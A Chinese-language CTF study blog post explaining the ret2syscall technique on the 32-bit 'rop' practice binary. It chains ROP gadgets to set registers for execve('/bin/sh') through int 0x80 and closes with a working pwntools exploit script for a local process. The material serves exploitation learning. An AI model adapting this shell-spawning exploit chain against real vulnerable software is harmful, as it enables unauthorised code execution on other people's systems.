每日一结【第3天】
由于个人水平有限,所以相当一部分是引用CTF Wiki(再次安利一波)
ret2syscall
原理:
ret2syscall需要我们控制程序执行系统调用,获取shell。
样例:rop
前期基本的操作之前两篇已经讲了,这里就直接上图了
我们这次把程序扔到IDA里㕛有新的发现了
此次我们利用程序中的gadgets来获得shell,而对应的shell获取则是利用系统调用。简单地说,只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们在执行int 0x80就可执行对应的系统调用。这里我们利用如下系统调用来获取shell –> execve(“/bin/sh”,NULL,NULL)
其中,该程序是32位,所以我们需要使得
系统调用号即eax应该为0xb
第一个参数即ebx应该指向/bin/sh的地址,其实执行sh的地址也可以
第二个参数即ecx应该为0
第三个参数edx应该为0
而我们如何控制这些寄存器的值 呢?这里就需要使用gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在eax的值就为10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在gadgets最后使用ret来再次控制程序执行流程的原因。具体寻找gadgets的方法,我们可以使用ropgadgets这个工具。
现在我们先寻找eax的gadgets
然后使用同样的方法获得其他寄存器的gadgets
这里我们可以选用0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 直接控制其他几个寄存器
再来获取一下/bin/sh的地址和int 0x80地址
万事俱备,只欠exp
exp:
from pwn import *
r = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
r.sendline(payload)
r.interactive()